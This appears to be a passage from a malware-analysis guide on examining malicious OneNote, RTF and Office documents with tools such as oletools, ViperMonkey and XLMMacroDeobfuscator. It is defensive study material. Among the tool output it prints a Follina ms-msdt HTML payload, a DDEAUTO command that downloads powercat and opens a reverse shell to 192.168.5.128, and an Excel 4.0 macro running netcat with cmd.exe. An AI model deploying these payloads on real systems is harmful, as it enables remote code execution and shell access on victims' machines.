New-ItemProperty -Path $psLoggingPath -Name "OutputDirectory" -Value (Join-Path ${Env:UserProfile} "Desktop\PS_Transcripts") -PropertyType String -Force | Out-Null
As a result of enabling the script block, our lemon duck script block is recorded:
For Powershell transcript, this logs in text files were generated after the execution happens:
Hidden Powershell command also can be seen:
Now you have full visibility of the Powershell activities located at:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx
%HOMEPATH%\Desktop\PS_Transcripts
I mentioned a tool named PSUnveil
in my Twitter where this tool can automate all this decoding process in just 3 seconds!
PSUnveil is a tool you can use to analyze obfuscated PowerShell scripts. This tool will ease our job and save us a lot of time.
Tutorial by author’s tool: https://www.kahusecurity.com/posts/introducing_psunveil.html
Link download: https://www.kahusecurity.com/tools.html
]]>Download the OneNoteAnalyzer from the release page in GitHub.
Run OneNoteAnalyzer.exe --file malware.one
then it will extract the malicious script from the OneNote file.
D:\OneNoteAnalyzer>OneNoteAnalyzer.exe --file "AgreementCancelation_395076(Feb08).one"
________ _______ __ _____ .__
\_____ \ ____ ____ \ \ _____/ |_ ____ / _ \ ____ _____ | | ___.__.________ ___________
/ | \ / \_/ __ \ / | \ / _ \ __\/ __ \ / /_\ \ / \\__ \ | |< | |\___ // __ \_ __ \
/ | \ | \ ___// | ( <_> ) | \ ___// | \ | \/ __ \| |_\___ | / /\ ___/| | \/
\_______ /___| /\___ >____|__ /\____/|__| \___ >____|__ /___| (____ /____/ ____|/_____ \\___ >__|
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
Author: @knight0x07
[+] OneNote Document Path: AgreementCancelation_395076(Feb08).one
[+] OneNote Document File Format: OneNote2010
[+] Extracting Attachments from OneNote Document
-> Extracted OneNote Document Attachments:
-> Extracted Actual Attachment Path: Z:\build\one | FileName: Open.cmd | Size: 1426
-> OneNote Document Attachments Extraction Path: \AgreementCancelation_395076(Feb08)_content\OneNoteAttachments
[+] Extracting Page MetaData from OneNote Document
-> Page Count: 1
-> Page MetaData:
---------------------------------------------
-> Title:
-> Author: admin
-> CreationTime: 8/2/2023 8:54:29 AM
-> LastModifiedTime: 8/2/2023 2:04:43 PM
---------------------------------------------
[+] Extracting Images from OneNote Document
-> Extracted OneNote Document Images:
-> Extracted Image FileName: 1_?????????? ???????.png | HyperLinkURL: Null
-> Extracted Image FileName: 2_?????????? ???????.png | HyperLinkURL: Null
-> Image Extraction Path: \AgreementCancelation_395076(Feb08)_content\OneNoteImages
[+] Extracting Text from OneNote Document
-> Extracted OneNote Document Text:
-> Page: | Extraction Path: \AgreementCancelation_395076(Feb08)_content\OneNoteText\1_.txt
[+] Extracting HyperLinks from OneNote Document
-> Extracted OneNote Document HyperLinks: (Note: Text might contain hyperlink if no overlay)
-> Page:
-> Text:
-> Text:
-> HyperLink Extraction Path: \AgreementCancelation_395076(Feb08)_content\OneNoteHyperLinks\onenote_hyperlinks.txt
[+] Converting OneNote Document to Image
-> Saved Path: \AgreementCancelation_395076(Feb08)_content\ConvertImage_AgreementCancelation_395076(Feb08).png
Reviewing the extract files, such as OneNoteAttachments
folder… shows the batch file that contains a malicious payload.
A sample shared by nao_sec that abusing ms-msdt to execute code. Refer here.
Unzipping the documents, and navigate to maldoc-name\word\_rels\document.xml.rels
will reveal the HTML URL which will execute their payload.
The payload might looks something like this:
<!doctype html>
<html lang="en">
<body>
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('cmd'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
</body>
</html>
RTF often comes with exploits targetting Microsoft Word vulnerabilities. Always look for embedded objects and anomalous content in the RTF.
Be prepared to locate, extract and analyze shellcode.
RTF exploit list:
Use rtfobj to inspect and extract embedded objects from RTF files.
remnux@remnux:~/Desktop$ rtfobj malicious.rtf
rtfobj 0.55 on Python 3.6.9 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
===============================================================================
File: 'malicious.rtf' - size: 401748 bytes
---+----------+---------------------------------------------------------------
id |index |OLE Object
---+----------+---------------------------------------------------------------
0 |0001076Ah |format_id: 2 (Embedded)
| |class name: b'Package'
| |data size: 159944
| |OLE Package object:
| |Filename: '8.t'
| |Source path: 'C:\\Aaa\\tmp\\8.t'
| |Temp path = 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\8.t'
| |MD5 = '9bffe424e9b7be9e1461a3218923e110'
---+----------+---------------------------------------------------------------
1 |0005E98Ah |format_id: 2 (Embedded)
| |class name: b'Equation.2\x00\x124Vx\x90\x124VxvT2'
| |data size: 6436
| |MD5 = 'a09e82c26f94f3a9297377120503a678'
---+----------+---------------------------------------------------------------
2 |0005E970h |Not a well-formed OLE object
---+----------+---------------------------------------------------------------
To dump specific OLE Object:
remnux@remnux:~/Desktop$ rtfobj malicious.rtf -s 2
rtfobj 0.55 on Python 3.6.9 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
===============================================================================
File: 'malicious.rtf' - size: 401748 bytes
---+----------+---------------------------------------------------------------
id |index |OLE Object
---+----------+---------------------------------------------------------------
0 |0001076Ah |format_id: 2 (Embedded)
| |class name: b'Package'
| |data size: 159944
| |OLE Package object:
| |Filename: '8.t'
| |Source path: 'C:\\Aaa\\tmp\\8.t'
| |Temp path = 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\8.t'
| |MD5 = '9bffe424e9b7be9e1461a3218923e110'
---+----------+---------------------------------------------------------------
1 |0005E98Ah |format_id: 2 (Embedded)
| |class name: b'Equation.2\x00\x124Vx\x90\x124VxvT2'
| |data size: 6436
| |MD5 = 'a09e82c26f94f3a9297377120503a678'
---+----------+---------------------------------------------------------------
2 |0005E970h |Not a well-formed OLE object
---+----------+---------------------------------------------------------------
Saving raw data in object #0:
saving object to file malicious.rtf_object_0005E970.raw
md5 a3540560cf9b92c3bc4aa0ed52767b
Alternatively, use rtfdump.py to analyze RTF. Below command list groups and structure of RTF.
remnux@remnux:~/Desktop$ rtfdump.py mal.rtf
1 Level 1 c= 124 p=00000000 l= 401423 h= 349186; 319968 b= 0 u= 5079 \rtf1
2 Level 2 c= 115 p=000000b7 l= 8126 h= 950; 20 b= 0 u= 1383 \fonttbl
3 Level 3 c= 1 p=000000c0 l= 82 h= 23; 20 b= 0 u= 11 \f0
4 Level 4 c= 0 p=000000e2 l= 31 h= 20; 20 b= 0 u= 0 \*\panose
5 Level 3 c= 1 p=00000113 l= 72 h= 22; 20 b= 0 u= 4 \f1
<---snip--->
330 Level 2 c= 0 p=0000fab5 l= 3226 h= 3184; 252 b= 0 O u= 0 \*\datastore
Name: 'Msxml2.SAXXMLReader.6.0\x00' Size: 1536 md5: 07ea196e1a0674f7ce220b6ae8c61cb7 magic: d0cf11e0
331 Level 2 c= 2 p=00010750 l= 320007 h= 319968; 319968 b= 0 O u= 0 \object
Name: 'Package\x00' Size: 159944 md5: 64081623857787fa13f24d59991d76f5 magic: 0200382e
332 Level 3 c= 0 p=0001075f l= 319980 h= 319968; 319968 b= 0 O u= 0 \*\objdata
Name: 'Package\x00' Size: 159944 md5: 64081623857787fa13f24d59991d76f5 magic: 0200382e
333 Level 3 c= 0 p=0005e94c l= 10 h= 0; 0 b= 0 u= 0 \result
334 Level 2 c= 1 p=0005e958 l= 14006 h= 13415; 13407 b= 0 u= 1 \object
335 Level 3 c= 1 p=0005e967 l= 13979 h= 13415; 13407 b= 0 u= 0 \objdata
336 Level 4 c= 1 p=0005e97f l= 13954 h= 13407; 13407 b= 0 u= 0 \*\objdata
337 Level 5 c= 0 p=0005e98b l= 534 h= 279; 279 b= 0 u= 0 \ods0000000000000000000000000000000000000000000010034533010342038422221556620832358404453773117665770487510150778730755613138068475808657687162582054482186656468762876881030061344325218221648318281400000000000000000000000000000000000000000000000000000000
338 Remainder c= 0 p=00062010 l= 324 h= 0; 0 b= 0 u= 324
Only NULL bytes = 324
To reduce the output but filtering for the entries that potentially contain the embedded objects, we can use-f O.
remnux@remnux:~/Desktop$ rtfdump.py mal.rtf -f O
330 Level 2 c= 0 p=0000fab5 l= 3226 h= 3184; 252 b= 0 O u= 0 \*\datastore
Name: 'Msxml2.SAXXMLReader.6.0\x00' Size: 1536 md5: 07ea196e1a0674f7ce220b6ae8c61cb7 magic: d0cf11e0
331 Level 2 c= 2 p=00010750 l= 320007 h= 319968; 319968 b= 0 O u= 0 \object
Name: 'Package\x00' Size: 159944 md5: 64081623857787fa13f24d59991d76f5 magic: 0200382e
332 Level 3 c= 0 p=0001075f l= 319980 h= 319968; 319968 b= 0 O u= 0 \*\objdata
Name: 'Package\x00' Size: 159944 md5: 64081623857787fa13f24d59991d76f5 magic: 0200382e
To dump specific group:
rtfdump.py mal.rtf -s 330 -H -d > output.bin
If you’re likely encountring RoyalRoad RTF, picture below show Royal Road exploit kit version pattern:
Source: An Overhead View of the Royal Road | @nao_sec (nao-sec.org)
Also, we can use YARA rules made by NaoSec for RoyalRoad: RoyalRoad YARA rules
Search for control word \*\template
. Most attacker will serve the RTF template in this control word. For example:
Initial assesment is to check \word\_rels\document.xml.rels
Reside in word/_rels/settings.xml.rels
Use oledump to analyze and extract OLE files
oledump.py filename.doc
= Generally analyze streams that contain macro
remnux@remnux:~/Desktop$ oledump.py macro-sample.xls
1: 107 '\x01CompObj'
2: 244 '\x05DocumentSummaryInformation'
3: 200 '\x05SummaryInformation'
4: 14882 'Workbook'
5: 740 '_VBA_PROJECT_CUR/PROJECT'
6: 182 '_VBA_PROJECT_CUR/PROJECTwm'
7: 97 '_VBA_PROJECT_CUR/UserForm1/\x01CompObj'
8: 293 '_VBA_PROJECT_CUR/UserForm1/\x03VBFrame'
9: 187 '_VBA_PROJECT_CUR/UserForm1/f'
10: 443812 '_VBA_PROJECT_CUR/UserForm1/o'
11: M 2423 '_VBA_PROJECT_CUR/VBA/Module1'
12: M 3251 '_VBA_PROJECT_CUR/VBA/Module2'
13: m 977 '_VBA_PROJECT_CUR/VBA/Sheet1'
14: m 977 '_VBA_PROJECT_CUR/VBA/Sheet2'
15: m 977 '_VBA_PROJECT_CUR/VBA/Sheet3'
16: M 1275 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
17: M 1907 '_VBA_PROJECT_CUR/VBA/UserForm1'
18: 4402 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
19: 926 '_VBA_PROJECT_CUR/VBA/dir'
oledump.py filename.xls -s 11 -v
= Extract macro for the stream 11 for example
remnux@remnux:~/Desktop$ oledump.py macro-sample.xls -s 16 -v
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Call userAldiLoadr
Sheet3.Visible = xlSheetVisible
Sheet3.Copy
End Sub
Use olevba3 to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to extract VBA Macro code in clear text, deobfuscate and analyze malicious macros
remnux@remnux:~/Desktop$ olevba3 macro-sample.xls
olevba 0.55.1 on Python 3.6.9 - http://decalage.info/python/oletools
===============================================================================
FILE: macro-sample.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: macro-sample.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
Call userAldiLoadr
Sheet3.Visible = xlSheetVisible
Sheet3.Copy
End Sub
<---snip--->
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
|AutoExec |TextBox1_Change |Runs when the file is opened and ActiveX |
| | |objects trigger events |
|Suspicious|Environ |May read system environment variables |
|Suspicious|Open |May open a file |
|Suspicious|Write |May write to a file (if combined with Open) |
|Suspicious|Put |May write to a file (if combined with Open) |
|Suspicious|Binary |May read or write a binary file (if combined |
| | |with Open) |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbNormalNoFocus |May run an executable file or a system |
| | |command |
|Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|MkDir |May create a directory |
|Suspicious|CreateObject |May create an OLE object |
|Suspicious|Shell.Application |May run an application (if combined with |
| | |CreateObject) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
mraptor is a tool designed to detect most malicious VBA Macros using generic heuristics.
remnux@remnux:~/Desktop$ mraptor -m macro-sample.xls
MacroRaptor 0.55 - http://decalage.info/python/oletools
This is work in progress, please report issues at https://github.com/decalage2/oletools/issues
----------+-----+----+--------------------------------------------------------
Result |Flags|Type|File
----------+-----+----+--------------------------------------------------------
SUSPICIOUS|AWX |OLE:|macro-sample.xls
| | |Matches: ['Workbook_Open', 'MkDir', 'CreateObject']
Flags: A=AutoExec, W=Write, X=Execute
Exit code: 20 - SUSPICIOUS
Use ViperMonkey to emulate the VBA. Vmonkey is a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files.
remnux@remnux:~/Desktop$ vmonkey macro-sample.xls
_ ___ __ ___ __
| | / (_)___ ___ _____/ |/ /___ ____ / /_____ __ __
| | / / / __ \/ _ \/ ___/ /|_/ / __ \/ __ \/ //_/ _ \/ / / /
| |/ / / /_/ / __/ / / / / / /_/ / / / / ,< / __/ /_/ /
|___/_/ .___/\___/_/ /_/ /_/\____/_/ /_/_/|_|\___/\__, /
/_/ /____/
vmonkey 0.08 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues
===============================================================================
FILE: macro-sample.xls
INFO Starting emulation...
INFO Emulating an Office (VBA) file.
INFO Reading document metadata...
Traceback (most recent call last):
File "/opt/vipermonkey/src/vipermonkey/vipermonkey/export_all_excel_sheets.py", line 15, in <module>
from unotools import Socket, connect
ModuleNotFoundError: No module named 'unotools'
ERROR Running export_all_excel_sheets.py failed. Command '['python3', '/opt/vipermonkey/src/vipermonkey/vipermonkey/export_all_excel_sheets.py', '/tmp/tmp_excel_file_3189461446']' returned non-zero exit status 1
INFO Saving dropped analysis artifacts in .//macro-sample.xls_artifacts/
INFO Parsing VB...
Error: [Errno 2] No such file or directory: ''.
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Private Sub Workbook_Open()
Call userAldiLoadr
Sheet3.Visible = xlSheetVisible
Sheet3.Copy
End Sub
-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO parsed Sub Workbook_Open (): 3 statement(s)
<---snip--->
-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO parsed Sub Mace5 (): 2 statement(s)
INFO parsed Sub Maceo8 (): 2 statement(s)
INFO parsed Sub unAldizip ([ByRef Fname as Variant, ByRef FileNameFolder as Variant]): 4 statement(s)
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Sub userAldiLoadr()
Dim path_Aldi_file As String
Dim file_Aldi_name As String
Dim zip_Aldi_file As Variant
Dim fldr_Aldi_name As Variant
Dim byt() As Byte
Dim ar1Aldi() As String
file_Aldi_name = "dhrwarhsav"
fldr_Aldi_name = Environ$("ALLUSERSPROFILE") & "\Edlacar\"
Use pcodedmp to disassemble p-code macro code from filename.doc
remnux@remnux:~/Desktop$ pcodedmp macro-sample.xls -d
Processing file: macro-sample.xls
===============================================================================
Module streams:
_VBA_PROJECT_CUR/VBA/ThisWorkbook - 1275 bytes
Line #0:
FuncDefn (Private Sub Workbook_Open())
Line #1:
ArgsCall (Call) userAldiLoadr 0x0000
Line #2:
Ld xlSheetVisible
Ld Sheet3
<---snip--->
Line #4:
Ld xl3DAreaStacked
MemStWith LineStyle
Line #5:
Line #6:
EndWith
Line #7:
Line #8:
StartWithExpr
Ld xlEdgeRight
Ld Selection
ArgsMemLd Borders 0x0001
<---snip--->
Line #20:
FuncDefn (Sub Maceo8())
Use msodde to detect and extract DDE/DDEAUTO links from MS Office documents, RTF and CSV
remnux@remnux:~/Desktop$ msodde DDE-attack.docx
msodde 0.55 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
Opening file: DDE-attack.docx
DDE Links:
DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.5.128/powercat.ps1');powercat -c 192.168.5.128 -p 1111 -e cmd
XLMMacroDeobfuscator can be used to extract or decode obfuscated XLM macros (also known as Excel 4.0 macros)
Extract: xlmdeobfuscator -f Book1.xlsm -x
Extract, emulate and deobfuscate: xlmdeobfuscator -f Book1.xlsm
remnux@remnux:~/Desktop$ xlmdeobfuscator -f excel4macro.xls
pywin32 is not installed (only is required if you want to use MS Excel)
|\ /|( \ ( )
( \ / )| ( | () () |
\ (_) / | | | || || |
) _ ( | | | |(_)| |
/ ( ) \ | | | | | |
( / \ )| (____/\| ) ( |
|/ \|(_______/|/ \|
______ _______ _______ ______ _______ _______ _______ _______ _________ _______ _______
( __ \ ( ____ \( ___ )( ___ \ ( ____ \|\ /|( ____ \( ____ \( ___ )\__ __/( ___ )( ____ )
| ( \ )| ( \/| ( ) || ( ) )| ( \/| ) ( || ( \/| ( \/| ( ) | ) ( | ( ) || ( )|
| | ) || (__ | | | || (__/ / | (__ | | | || (_____ | | | (___) | | | | | | || (____)|
| | | || __) | | | || __ ( | __) | | | |(_____ )| | | ___ | | | | | | || __)
| | ) || ( | | | || ( \ \ | ( | | | | ) || | | ( ) | | | | | | || (\ (
| (__/ )| (____/\| (___) || )___) )| ) | (___) |/\____) || (____/\| ) ( | | | | (___) || ) \ \__
(______/ (_______/(_______)|/ \___/ |/ (_______)\_______)(_______/|/ \| )_( (_______)|/ \__/
XLMMacroDeobfuscator(v 0.1.4) - https://github.com/DissectMalware/XLMMacroDeobfuscator
File: /home/remnux/Desktop/excel4macro.xls
Unencrypted xls file
[Loading Cells]
[Starting Deobfuscation]
There is no entry point, please specify a cell address to start
Example: Sheet1!A1
Macro1!A1
CELL:A1, PartialEvaluation , EXEC("nc -nv 192.168.5.128 1111 -e cmd.exe")
CELL:A2, PartialEvaluation , RETURN()
[END of Deobfuscation]
time elapsed: 5.66940808296203